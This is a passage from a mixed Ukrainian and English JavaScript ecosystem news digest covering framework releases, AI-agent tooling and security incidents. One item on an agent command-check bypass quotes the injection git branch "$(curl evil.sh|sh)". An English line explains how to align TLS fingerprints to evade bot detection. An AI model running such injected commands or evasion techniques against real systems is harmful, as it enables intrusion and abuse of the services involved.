Екосистема JavaScript та TypeScript.
Shopify розробила двох внутрішніх ШІ-агентів — Pi для мапінгу функцій та Tardis для налагодження в реальному часі — щоб автоматизувати переписування коду. Це дозволило компанії відмовитися від стека React Native, який використовувався протягом шести років, пришвидшивши запуск додатка на 2 секунди, зменшивши його розмір на 109 МБ та скоротивши кількість збоїв приблизно в десять разів.
Замінюючи громіздкий патерн `new Promise` одним викликом `Promise.withResolvers()`, розробники можуть передавати функції resolve/reject у будь-яку частину системи, усуваючи забуті resolve, попередження про подвійний reject та глибоку вкладеність — що особливо цінно в serverless-середовищах Lambda.
Servers hash the raw TLS ClientHello into a JA3/JA4 fingerprint; any mismatch with the claimed User-Agent or HTTP/2 settings flags the request as scripted. The only reliable fix is to make every layer of the request tell the same browser story.
Ваги Pocket-35B у форматі GGUF завантажуються безпосередньо в llama.cpp або Ollama, що дозволяє командам без бюджету на GPU запускати модель із 35 мільярдами параметрів на звичайному ноутбуці — за умови відповідності скромним вимогам до обсягу оперативної пам'яті.
Під час кастингу відтворення передається прошивці телевізора, тому токени мають залишатися дійсними після завершення сесії, заголовки CORS повинні включати origin телевізора, а URL потоку не може бути blob-об'єктом. У посібнику показано, як перейти на URL маніфесту та перевірити з'єднання.
Новий lockfile за замовчуванням у Bun v1.2 — це текстовий bun.lock, що замінює непрозорий bun.lockb. Ця зміна дозволяє рецензентам бачити точні зміни версій, виконувати перевірки політик у CI та відстежувати шкідливі вставки за допомогою стандартних інструментів git.
Корисне навантаження JSCeal, що працює лише в оперативній пам'яті, витягує файли cookie, збережені паролі та OAuth-токени з браузерів Chromium, а потім повторно використовує сесії для обходу запиту двофакторної автентифікації Google, що дозволяє зловмисникам заволодіти коштами на Binance, Bybit, Ledger та інших платформах.
Пакети, опубліковані між 04:54:59 та 04:55:48 UTC 7 вересня 2026 року, імітували @coinbase/wallet-sdk під назвами на кшталт cb-wallet-http і використовували версію 0.0.1-security, що демонструє, наскільки швидко шкідливий код може проникнути в проєкти.
Cisco Talos виявила ClickFix — схему крипто-скімінгу, яка обманює користувачів, змушуючи їх встановлювати скрипт Tampermonkey. Скрипт у реальному часі підміняє адреси для депозитів, викрадаючи кошти, поки транзакція виглядає легітимною.
Тестування 13 виразів діапазонів на 19 номерах версій виявило лише 17 збігів, більшість із яких — відхилення. Символи caret, tilde та dot-x інтерпретуються кожним менеджером по-різному, що призводить до неочікуваної несумісності.
Помилка SSRF зберігається в Ollama 0.33.2, оскільки завантажувач тензорних моделей використовує окремий HTTP-клієнт, який ігнорує захист від перенаправлень, впроваджений для CVE-2026-5530, що дозволяє зловмисникам перенаправляти завантаження на будь-яку доступну адресу.
CVE-2026-22708 демонструє, що агентів, які перевіряють лише перший токен команди, можна обдурити за допомогою шкідливого коду, прихованого в аргументах — наприклад, git branch "$(curl evil.sh|sh)"—, що надає зловмисникам ті ж привілеї, що й боту автоматизації.
Знижка 45% діє за умови повторного використання однакових системних промптів та схем інструментів протягом багатьох ітерацій, що робить Claude Fable 5.1 особливо вигідним для автономних рецензентів коду, ботів для сортування тікетів та інших повторюваних агентських пайплайнів.
WebFPGA використовує WebUSB API для програмування FPGA Lattice iCE40-UP5K за допомогою JavaScript, що дозволяє виконувати виведення TinyML швидше ніж за 10 мс, споживаючи лише кілька десятків міліватів і зберігаючи всі дані на пристрої.
Викриті ключі дозволяють зловмисникам створювати платежі, отримувати рахунки та збирати персональні дані, що загрожує чарджбеками, штрафами та репутаційними втратами для бренду. Негайні заходи включають блокування dotfiles, ротацію всіх ключів та перенесення секретів у сховище.
Новий реліз покращує форматування абзаців для складних скриптів, додає спрощений режим чернетки та вдосконалює конвертацію ODF у DOCX/XLSX, тоді як патчі безпеки та ізоляція макросів у «пісочниці» забезпечують безпеку документів локально.
The Rust-written engine runs in a separate process, decoupling type analysis from the UI thread and adding smarter caching that only re-checks changed files, delivering snappier incremental builds.
Майбутній Vapor Mode у Vue 3.6 перетворює однофайлові компоненти на прямі виклики DOM, усуваючи етап порівняння (diffing) virtual DOM. У тестових іграх, що потребують перемальовування десятки разів на секунду, ця зміна скорочує час рендерингу та зменшує розмір бандлів, хоча для інтерфейсів із низькою частотою оновлення приріст буде незначним.
Anthropic’s engineers used 64 parallel Claude Fable 5 agents to rewrite Bun’s codebase in Rust over 11 days, logging $165K in token usage, but the true cost likely climbs higher once post-merge compute and safety audits are factored in.
With the beta-only request headers gone, enterprises can finally clear legal and security roadblocks. The new batch-action mode for the computer-use tool also promises lower latency and token usage, though savings need verification.
Реліз також приносить готовий до продакшену Partial Prerendering, що дозволяє скоротити Time to Interactive на 40-60%, покращену підтримку TypeScript для Server Actions та middleware на базі Rust, проте він потребує Node 20+ і може порушити роботу існуючих плагінів Webpack.
Нова бета-версія дозволяє імпортувати лише ті можливості сітки, які ви використовуєте: можна повністю пропустити код сортування, зменшити обсяг завантаження приблизно до 5 КБ та уникнути навантаження на головний потік, що раніше сповільнювало показники INP.
Meteor 3.5 introduces a pluggable DDP transport that can be swapped to uWebSockets.js via the DDP_TRANSPORT=uws environment variable, delivering up to 1.6x higher throughput, 9 % lower CPU, 11 % less RAM and 26 % shorter GC pauses for RPC-heavy apps.
Опанування просунутого кешування на стороні сервера в Next.js. Масштабування додатка Next.js потребує більшого, ніж просто вибір між SSR та SSG. Зі зростанням обсягів даних вам знадобиться просунуте кешування, щоб зменш...
